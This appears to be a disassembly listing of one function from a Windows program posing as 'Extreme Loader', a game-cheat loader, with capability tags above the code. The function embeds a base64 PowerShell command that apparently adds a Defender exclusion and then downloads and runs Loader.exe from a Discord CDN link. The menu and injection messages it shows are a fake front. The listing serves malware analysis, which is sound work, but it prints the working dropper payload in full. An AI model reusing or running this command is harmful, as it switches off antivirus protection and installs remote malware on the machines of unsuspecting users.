Function at 0x140001e50
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Execute command
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0x90
mov rax, qword [0x140007040]
xor rax, rsp
mov qword [rbp + 0x4f], rax
xor edi, edi
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rbx, rax
mov dword [rbp + 3], edi
lea rdx, [rbp + 3]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleMode]
mov edx, dword [rbp + 3]
or edx, 4
mov dword [rbp + 3], edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleMode]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 9]
lea edx, [rdi + 8]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140002685
mov dword [rbp + 7], 4
lea rax, [rbp + 7]
mov qword [rsp + 0x20], rax
lea r9d, [rdi + 4]
lea r8, [rbp - 1]
lea edx, [rdi + 0x14]
mov rcx, qword [rbp - 9]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
cmovne edi, dword [rbp - 1]
mov rcx, qword [rbp - 9]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x140002685
call fcn.140001d20
call fcn.140001d20
lea r8, str.5guz6dgrzg73w6gr7d3s
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x140001f58
call fcn.140001d20
call fcn.140001d20
mov r9d, 0x40
lea r8, str.Already_running
lea rdx, str.Software_is_already_running
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x1400026c2
xorps xmm0, xmm0
movups xmmword [rbp + 0x2f], xmm0
mov ecx, 0x650
call fcn.140002c10
mov rbx, rax
mov qword [rbp + 0x2f], rax
mov qword [rbp + 0x3f], 0x644
mov qword [rbp + 0x47], 0x64f
mov rcx, rax
lea rdx, str.cG93ZXJzaGVsbC5leGUgLUVuY29kZWRDb21tYW5kICJQQUFqQUhFQVpRQjFBQ01BUGdBZ0FFRUFaQUJrQUMwQVRRQndBRkFBY2dCbEFHWUFaUUJ5QUdVQWJnQmpBR1VBSUFBOEFDTUFad0JzQUhNQUl3QStBQ0FBTFFCRkFIZ0FZd0JzQUhVQWN3QnBBRzhBYmdCUUFHRUFkQUJvQUNBQVFBQW9BQ1FBWlFCdUFIWUFPZ0JWQUhNQVpRQnlBRkFBY2dCdkFHWUFhUUJzQUdVQUxBQWtBR1VBYmdCMkFEb0FVd0I1QUhNQWRBQmxBRzBBUkFCeUFHa0FkZ0JsQUNrQUlBQThBQ01BZGdCeUFHc0FJd0ErQUNBQUxRQkdBRzhBY2dCakFHVUFJQUE4QUNNQWJnQndBRzBBSXdBK0FEc0FLQUJPQUdVQWR3QXRBRThBWWdCcUFHVUFZd0IwQUNBQVV3QjVBSE1BZEFCbEFHMEFMZ0JPQUdVQWRBQXVBRmNBWlFCaUFFTUFiQUJwQUdVQWJnQjBBQ2tBTGdCRUFHOEFkd0J1QUd3QWJ3QmhBR1FBUmdCcEFHd0FaUUFvQUNjQWFBQjBBSFFBY0FCekFEb0FMd0F2QUdNQVpBQnVBQzRBWkFCcEFITUFZd0J2QUhJQVpBQmhBSEFBY0FBdUFHTUFid0J0QUM4QVlRQjBBSFFBWVFCakFHZ0FiUUJsQUc0QWRBQnpBQzhBTVFBeEFEZ0FOQUF4QURVQU53QTBBRGtBTUFBMEFEa0FOQUF3QURVQU9BQTFBRFVBTndBdkFERUFNUUE1QURJQU5nQXpBREFBT1FBekFEa0FNZ0EyQURRQU53QTJBREVBT1FBMEFEY0FMd0JNQUc4QVlRQmtBR1VBY2dBdUFHVUFlQUJsQUQ4QUp3QXNBQ0FBUEFBakFHVUFjQUI1QUNNQVBnQWdBQ2dBU2dCdkFHa0FiZ0F0QUZBQVlRQjBBR2dBSUFBOEFDTUFad0J0QUhvQUl3QStBQ0FBTFFCUUFHRUFkQUJvQUNBQUpBQmxBRzRBZGdBNkFFRUFjQUJ3QUVRQVlRQjBBR0VBSUFBOEFDTUFiZ0I1QUdvQUl3QStBQ0FBTFFCREFHZ0FhUUJzQUdRQVVBQmhBSFFBYUFBZ0FDY0FUQUJ2QUdFQVpBQmxBSElBTGdCbEFIZ0FaUUFuQUNrQUtRQThBQ01BZEFCM0FHa0FJd0ErQURzQUlBQlRBSFFBWVFCeUFIUUFMUUJRQUhJQWJ3QmpBR1VBY3dCekFDQUFMUUJHQUdrQWJBQmxBRkFBWVFCMEFHZ0FJQUE4QUNNQWJBQmhBR1VBSXdBK0FDQUFLQUJLQUc4QWFRQnVBQzBBVUFCaEFIUUFhQUFnQUMwQVVBQmhBSFFBYUFBZ0FDUUFaUUJ1QUhZQU9nQkJBSEFBY0FCRUFHRUFkQUJoQUNBQVBBQWpBSE1BZFFCc0FDTUFQZ0FnQUMwQVF3Qm9BR2tBYkFCa0FGQUFZUUIwQUdnQUlBQW5BRXdBYndCaEFHUUFaUUJ5QUM0QVpRQjRBR1VBSndBcEFEd0FJd0I0QUhrQWFBQWpBRDRBIg
mov r8d, 0x644
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + 0x644], 0
xor r8d, r8d
lea rdx, [rbp + 0x2f]
lea rcx, [rbp + 0xf]
call fcn.140001430
nop
lea rcx, [rbp + 0xf]
cmp qword [rbp + 0x27], 0xf
cmova rcx, qword [rbp + 0xf]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ebx, eax
call fcn.140001d20
call fcn.140001d20
lea rcx, [0x140004d68]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.e_32m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002700
mov rcx, rax
lea rdx, str.Welcome_to_Extreme_Loader
call fcn.140002700
mov qword [rbp - 9], 3
lea rcx, [rbp - 9]
call fcn.1400028d0
lea rdx, str._n_nStatus:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002700
lea rdx, str.e_32m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002700
mov rcx, rax
lea rdx, str._n_1__Fortnite_t
call fcn.140002700
mov rcx, rax
lea rdx, str.e_33m
call fcn.140002700
mov rcx, rax
lea rdx, str._2__Valorant
call fcn.140002700
lea rdx, str.e_31m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002700
mov rcx, rax
lea rdx, str._n_3__CSGO_t
call fcn.140002700
mov rcx, rax
lea rdx, str.e_32m
call fcn.140002700
mov rcx, rax
lea rdx, str._4__Rust
call fcn.140002700
lea rdx, str.e_32m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002700
mov rcx, rax
lea rdx, str._n_5__Spoofer_t
call fcn.140002700
mov rcx, rax
lea rdx, str.e_33m
call fcn.140002700
mov rcx, rax
lea rdx, str._6__Cleaner_n_n
call fcn.140002700
mov qword [rbp - 9], 2
lea rcx, [rbp - 9]
call fcn.1400028d0
mov qword [rbp - 9], 1
lea rdi, [0x140000000]
call fcn.140001d20
call fcn.140001d20
lea rdx, str.e_0m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002700
mov rcx, rax
lea rdx, str.What_do_you_want_to_load:
call fcn.140002700
lea rdx, [rbp - 1]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
lea rcx, [rbp - 9]
call fcn.1400028d0
lea rdx, str.e_32m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002700
mov rcx, rax
lea rdx, str._n_Starting_Process_
call fcn.140002700
mov eax, dword [rbp - 1]
dec eax
cmp eax, 5
ja case.default.0x14000217e
cdqe
mov ecx, dword [rdi + rax*4 + 0x26e8]
add rcx, rdi
jmp rcx
lea rdx, str.e_31m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002700
lea rdx, str._n____CSGO_is_currently_not_working._Try_later_again
jmp 0x1400021c0
call fcn.140001d20
call fcn.140001d20
lea rdx, str.e_31m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002700
lea rdx, str._n____Invalid_input
mov rcx, rax
call fcn.140002700
mov qword [rbp + 7], 3
lea rcx, [rbp + 7]
call fcn.1400028d0
lea rcx, [0x140004d68]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.e_32m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002700
lea rdx, str.Welcome_to_Extreme_Loader
mov rcx, rax
call fcn.140002700
lea rdx, str._n_nStatus:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002700
lea rdx, str.e_32m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002700
mov rcx, rax
lea rdx, str._n_1__Fortnite_t
call fcn.140002700
lea rdx, str.e_33m
mov rcx, rax
call fcn.140002700
lea rdx, str._2__Valorant
mov rcx, rax
call fcn.140002700
lea rdx, str.e_31m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002700
lea rdx, str._n_3__CSGO_t
mov rcx, rax
call fcn.140002700
lea rdx, str.e_32m
mov rcx, rax
call fcn.140002700
lea rdx, str._4__Rust
mov rcx, rax
call fcn.140002700
lea rdx, str.e_32m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002700
lea rdx, str._n_5__Spoofer_t
mov rcx, rax
call fcn.140002700
lea rdx, str.e_33m
mov rcx, rax
call fcn.140002700
lea rdx, str._6__Cleaner_n_n
mov rcx, rax
call fcn.140002700
jmp 0x140002100
lea rdx, str.e_31m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002700
mov rcx, rax
lea rdx, str._nPlease_Notice_that_Valorant_is_dtc_at_the_moment
call fcn.140002700
mov qword [rbp - 9], 1
lea rcx, [rbp - 9]
call fcn.1400028d0
lea rdx, str.e_32m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002700
mov rcx, rax
lea rdx, str._n___Downloading_Required_Dll
call fcn.140002700
mov qword [rbp - 9], 2
lea rcx, [rbp - 9]
call fcn.1400028d0
test ebx, ebx
jne 0x140002660
lea rdx, str.e_32m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002700
mov rcx, rax
lea rdx, str._n___Injecting...
call fcn.140002700
call fcn.140001d20
mov qword [rbp - 9], 4
lea rcx, [rbp - 9]
call fcn.1400028d0
lea rdx, str.e_31m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002700
mov rcx, rax
lea rdx, str._n____Failed__trying_again...
call fcn.140002700
mov qword [rbp - 9], 3
lea rcx, [rbp - 9]
call fcn.1400028d0
lea rdx, str.e_32m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002700
mov rcx, rax
lea rdx, str._n___Succes
call fcn.140002700
mov rcx, rax
lea rdx, str.e_0m
call fcn.140002700
lea rdx, str.Succesfully_Injected._You_can_Close_this_Window_now
jmp 0x1400025b7
lea rdx, str.e_32m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002700
mov rcx, rax
lea rdx, str._n___Downloading_Required_Dll
call fcn.140002700
mov qword [rbp - 9], 2
lea rcx, [rbp - 9]
call fcn.1400028d0
test ebx, ebx
jne 0x140002660
lea rdx, str.e_32m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002700
mov rcx, rax
lea rdx, str._n___Spoofing...
call fcn.140002700
call fcn.140001d20
mov qword [rbp - 9], 4
lea rcx, [rbp - 9]
call fcn.1400028d0
lea rdx, str.e_31m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002700
mov rcx, rax
lea rdx, str._n____Failed__trying_again...
call fcn.140002700
mov qword [rbp - 9], 3
lea rcx, [rbp - 9]
call fcn.1400028d0
lea rdx, str.e_32m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002700
mov rcx, rax
lea rdx, str._n___Succes
call fcn.140002700
mov rcx, rax
lea rdx, str.e_0m
call fcn.140002700
lea rdx, str.Succesfully_Spoofed._You_can_Close_this_Window_now
jmp 0x1400025b7
lea rdx, str.e_32m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002700
mov rcx, rax
lea rdx, str._n___Downloading_Required_Dll
call fcn.140002700
mov qword [rbp - 9], 2
lea rcx, [rbp - 9]
call fcn.1400028d0
test ebx, ebx
jne 0x140002660
lea rdx, str.e_32m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002700
mov rcx, rax
lea rdx, str._n___Cleaning...
call fcn.140002700
call fcn.140001d20
mov qword [rbp - 9], 4
lea rcx, [rbp - 9]
call fcn.1400028d0
lea rdx, str.e_31m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002700
mov rcx, rax
lea rdx, str._n____Failed__trying_again...
call fcn.140002700
mov qword [rbp - 9], 3
lea rcx, [rbp - 9]
call fcn.1400028d0
lea rdx, str.e_32m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002700
mov rcx, rax
lea rdx, str._n___Succes
call fcn.140002700
mov rcx, rax
lea rdx, str.e_0m
call fcn.140002700
lea rdx, str.Succesfully_Cleaned._You_can_Close_this_Window_now
mov r9d, 0x40
lea r8, str.Succes
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
nop
mov rdx, qword [rbp + 0x27]
cmp rdx, 0xf
jbe 0x14000260b
inc rdx
mov rcx, qword [rbp + 0xf]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002606
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002606
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002c4c
movdqa xmm0, xmmword [0x1400050e0]
movdqu xmmword [rbp + 0x1f], xmm0
mov byte [rbp + 0xf], 0
mov rdx, qword [rbp + 0x47]
cmp rdx, 0xf
jbe 0x1400026c2
inc rdx
mov rcx, qword [rbp + 0x2f]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002659
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002659
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002c4c
jmp 0x1400026c2
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.An_error_Accured_while_downloading._Please_contact_the_owner__exclusive0378__on_Discord_to_fix_it
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
call fcn.140001d20
call fcn.140001d20
lea rdx, str.e_31m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002700
mov rcx, rax
lea rdx, str.____No_Admin_Perms
call fcn.140002700
mov qword [rbp - 9], 3
lea rcx, [rbp - 9]
call fcn.1400028d0
xor eax, eax
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.140002bf0
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret